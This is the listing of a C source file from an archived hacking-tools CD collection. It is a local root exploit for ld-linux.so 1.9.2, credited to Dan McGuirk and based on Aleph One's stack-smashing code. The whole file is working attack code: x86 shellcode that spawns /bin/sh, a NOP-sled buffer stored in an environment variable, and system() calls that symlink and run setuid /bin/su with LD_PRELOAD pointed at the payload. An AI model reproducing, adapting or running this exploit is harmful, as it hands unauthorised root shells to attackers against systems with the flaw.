home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / ld.so.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-11-06  |  1.5 KB  |  63 lines

  1. /*
  2.  * buffer overflow exploit for ld-linux.so.1.9.2
  3.  * by Dan McGuirk <mcguirk@indirect.com>
  4.  * based on Aleph One's "smashing the stack" code
  5.  */
  6.  
  7. #include <stdlib.h>
  8.  
  9. #define DEFAULT_OFFSET                 3300
  10. #define DEFAULT_BUFFER_SIZE            1013
  11. #define NOP                            0x90
  12.  
  13. char shellcode[] =
  14.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  15.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  16.   "\x80\xe8\xdc\xff\xff\xff_bin_sh";
  17.  
  18. unsigned long get_sp(void) {
  19.    __asm__("movl %esp,%eax");
  20. }
  21.  
  22. void main(int argc, char *argv[]) {
  23.   char *buff, *ptr;
  24.   long *addr_ptr, addr;
  25.   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  26.   int i;
  27.  
  28.   if (argc > 1) bsize  = atoi(argv[1]);
  29.   if (argc > 2) offset = atoi(argv[2]);
  30.  
  31.   if (!(buff = malloc(bsize))) {
  32.     printf("Can't allocate memory.\n");
  33.     exit(0);
  34.   }
  35.  
  36.   printf("sp is 0x%x\n", get_sp());
  37.   addr = get_sp() - offset;  /* a valid addr is addr = 0xbfffeba8; here */
  38.   printf("Using address: 0x%x\n", addr);
  39.  
  40.   ptr = buff;
  41.   addr_ptr = (long *) ptr;
  42.   for (i = 0; i < bsize; i+=4)
  43.     *(addr_ptr++) = addr;
  44.  
  45.   for (i = 0; i < bsize/2; i++)
  46.     buff[i] = NOP;
  47.  
  48.   ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  49.   for (i = 0; i < strlen(shellcode); i++)
  50.     *(ptr++) = shellcode[i];
  51.  
  52.   buff[bsize - 1] = '\0';
  53.  
  54.   memcpy(buff, "EGG=", 4);
  55.   putenv(buff);
  56.   system("ln -sf /bin/sh _bin_sh");
  57.   system("ln -sf /bin/su aa");
  58.   system("/bin/sh -c 'export LD_PRELOAD=$EGG; export PATH=$PATH:.; aa'");
  59.   system("rm -f _bin_sh");
  60.   system("rm -f aa");
  61. }
  62.  
  63.